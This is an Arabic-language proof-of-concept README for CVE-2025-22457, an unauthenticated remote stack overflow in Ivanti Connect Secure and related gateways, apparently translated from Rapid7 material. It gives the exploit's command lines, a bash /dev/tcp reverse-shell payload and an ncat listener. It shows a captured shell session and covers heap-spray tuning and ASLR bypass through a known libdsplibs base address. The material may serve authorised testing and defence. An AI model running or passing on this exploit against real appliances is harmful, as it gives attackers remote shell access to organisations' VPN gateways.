
PoC لثغرة CVE-2025-22457 - تجاوز سعة مخزن مؤقت في المكدس (Stack Buffer Overflow) عن بُعد بدون مصادقة يؤثر على Ivanti Connect Secure وPulse Connect Secure وIvanti Policy Secure وبوابات ZTA
تجاوز سعة المخزن المؤقت المستند إلى المكدس عن بُعد وبدون مصادقة يؤثر على Ivanti Connect Secure وPulse Connect Secure وIvanti Policy Secure وبوابات ZTA
هذا استغلال لإثبات المفهوم لتوضيح استغلال CVE-2025-22457. للاطلاع على تحليل تقني كامل للثغرة واستراتيجية الاستغلال، يُرجى مراجعة تحليل Rapid7 الخاص بنا هنا:
https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis
يمكننا تشغيل هذا السكربت ضد هدف Ivanti Connect Secure ضعيف، الإصدار 22.7r2.4، كما يلي:
ابدأ مستمع netcat لالتقاط الصدفة العكسية.
C:\>ncat -lnvkp 8080
شغّل الاستغلال وقم بفرض ASLR بالقوة العمياء (سيكون هذا بطيئًا).
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering..
عندما ينجح، ستحصل على صدفة عكسية.
C:\>ncat -lnvkp 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$
اعتمادًا على العتاد الأساسي، يحدد عدد وحدات المعالجة المركزية المتاحة للجهاز الهدف عدد العمليات الفرعية التي سينشئها الثنائي /home/bin/web. نظرًا لأن جميع طلبات HTTPS الواردة سيتم توزيعها بالتساوي بين هذه العمليات الفرعية، يجب أن نأخذ هذا في الاعتبار وننفذ رش الكومة (heap spray) بعدد مرات كافٍ لجميع العمليات الفرعية. نحتاج إلى القيام بذلك لأنه عند تشغيل الثغرة، لا يمكننا معرفة العملية الفرعية التي سنشغلها فيها. لذلك نحتاج إلى أن يكون رش الكومة موجودًا في كل عملية فرعية.
على سبيل المثال، في جهاز ضعيف بصلاحيات الجذر، قم بتشغيل الأمر التالي لرؤية عدد عمليات /home/bin/web الفرعية:
bash-4.2# ps -Al | grep web
ps -Al | grep web
4 S 104 3012 2394 0 80 0 - 26313 - ? 00:00:00 web
4 S 104 3013 2394 0 80 0 - 24931 - ? 00:00:00 web80
1 S 104 4947 3012 2 80 0 - 28209 - ? 00:01:27 web
1 S 104 5217 3012 1 80 0 - 31527 - ? 00:00:49 web
1 S 104 5695 3012 0 80 0 - 28199 - ? 00:00:00 web
1 S 104 5715 3012 0 80 0 - 28199 - ? 00:00:00 web
bash-4.2#
يمكنك تحديد العدد المتوقع لعمليات الويب الفرعية عبر وسيط --web_children، على سبيل المثال:
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4
إذا كنت تختبر إثبات المفهوم على نظام محلي، فقد ترغب في تجنب فرض القوة العمياء على العنوان الأساسي لـ libdsplibs. في هذا السيناريو، يمكنك تمرير عنوان أساسي معروف إلى إثبات المفهوم عبر وسيط --libdsplibs. على سبيل المثال، في جهاز ضعيف بصلاحيات الجذر، قم بتشغيل الأمر التالي:
bash-4.2# ps -A| grep web
ps -A| grep web
3200 ? 00:00:01 web80
20536 ? 00:00:02 web
bash-4.2# cat /proc/20536/maps | grep libdsplibs
cat /proc/20536/maps | grep libdsplibs
f642e000-f7994000 r-xp 00000000 fc:02 171879 /home/lib/libdsplibs.so
f7994000-f7995000 ---p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f7995000-f79aa000 r--p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f79aa000-f79e3000 rw-p 0157b000 fc:02 171879 /home/lib/libdsplibs.so
bash-4.2#
ثم يمكنك تمرير العنوان الأساسي المعروف إلى إثبات المفهوم كما يلي:
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf642e000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering...